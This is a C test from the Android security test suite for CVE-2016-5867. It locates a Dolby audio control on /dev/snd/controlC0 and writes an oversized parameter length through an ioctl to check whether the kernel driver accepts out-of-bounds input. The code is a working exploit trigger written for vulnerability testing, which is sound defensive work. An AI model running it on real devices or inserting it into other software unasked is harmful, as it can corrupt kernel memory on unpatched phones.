1 /*
2  * Copyright (C) 2019 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 /*
18  * CVE-2016-5867
19  */
20 
21 #include "../includes/common.h"
22 #include <fcntl.h>
23 #include <sound/asound.h>
24 #include <stdio.h>
25 #include <stdlib.h>
26 #include <string.h>
27 #include <sys/ioctl.h>
28 #include <unistd.h>
29 
30 #define DOLBY_SET_PARAM "DS1 DAP Set Param"
31 #define NUM_BLOCKS 16384
32 #define DOLBY_PARAM_ID_VDHE 0x0001074D
33 #define TOTAL_LENGTH_DOLBY_PARAM 745
34 
get_doblycontrolid(int fd)35 unsigned int get_doblycontrolid(int fd) {
36   unsigned int i;
37   int ret = -1;
38   unsigned int id = 0;
39   struct snd_ctl_elem_list lst;
40   memset(&lst, 0, sizeof(lst));
41   lst.pids = calloc(NUM_BLOCKS, sizeof(struct snd_ctl_elem_list));
42   lst.space = NUM_BLOCKS;
43   ret = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &lst);
44   if (ret < 0) {
45     return 0;
46   }
47   for (i = 0; i < lst.count; i++) {
48     if (!strncmp((const char *)lst.pids[i].name, DOLBY_SET_PARAM,
49                  (sizeof(DOLBY_SET_PARAM) - 1))) {
50       id = lst.pids[i].numid;
51       break;
52     }
53   }
54   free(lst.pids);
55   return id;
56 }
57 
main()58 int main(){
59   int fd = -1;
60   struct snd_ctl_elem_value control;
61   int ret;
62   fd = open("/dev/snd/controlC0", O_RDWR);
63   if(fd < 0) {
64     return EXIT_FAILURE;
65   }
66   memset(&control, 0, sizeof(control));
67   control.id.numid = get_doblycontrolid(fd);
68   if(control.id.numid) {
69     control.value.integer.value[1] = DOLBY_PARAM_ID_VDHE;
70     control.value.integer.value[3] = TOTAL_LENGTH_DOLBY_PARAM +1;
71     ret = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_WRITE, &control);
72     if(ret == 0) {
73       close(fd);
74       return EXIT_VULNERABLE;
75     }
76   }
77   close(fd);
78   return EXIT_SUCCESS;
79 }
80